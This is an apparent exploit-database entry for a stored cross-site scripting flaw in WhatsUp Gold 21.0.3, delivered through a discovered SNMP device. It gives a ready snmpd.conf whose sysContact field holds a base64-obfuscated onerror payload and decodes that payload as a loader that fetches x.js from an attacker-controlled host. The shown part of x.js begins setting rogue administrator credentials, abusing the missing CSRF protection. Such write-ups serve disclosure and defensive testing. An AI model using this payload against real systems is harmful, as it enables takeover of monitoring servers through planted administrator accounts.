Exploits / Vulnerability Discovered : 2021-10-01 |
Type : webapps |
Platform : multiple
This exploit / vulnerability Whatsupgold 21.0.3 stored crosssite scripting (xss) is for educational purposes only and if it is used you will do on your own risk!
Description:
Improper validation of strings from discovered SNMP devices, makes the application prone to stored XXS attacks.
Placing a XSS payload in one of the fields reflected onto the application, triggers the exploitation.
No CSRF protection/token on adding/posting a new user account, makes it possible to create a rouge administrator, using a staged javascript delivered through the XSS.
SNMP A nix computer placed on a subnet accessible from the server for discovery, you edit the SNMPd.conf, adding the payload:
# snmpd.conf
# An example configuration file for configuring the Net-SNMP agent ('snmpd')
# See snmpd.conf(5) man page for details
############################################################################
# SECTION: System Information Setup
# syslocation: The [typically physical] location of the system.
# Note that setting this value here means that when trying to
# perform an snmp SET operation to the sysLocation.0 variable will make
# the agent return the "notWritable" error code. IE, including
# this token in the snmpd.conf file will disable write access to
# the variable.
# arguments: location_string
sysName Evil-Device
sysLocation Somewhere Over The Rainbow
sysContact <img id=dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHA6Ly8xOTIuMTY4LjY2LjQ2L3guanMiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7 src=x onerror=eval(atob(this.id))>
This is the base64 encoded string:
var a=document.createElement("script");a.src="http://192.168.66.46/x.js";document.body.appendChild(a);
x.js:
var vhost = window.location.protocol+'\/\/'+window.location.host
var username = "sysadmin"
var password = "me"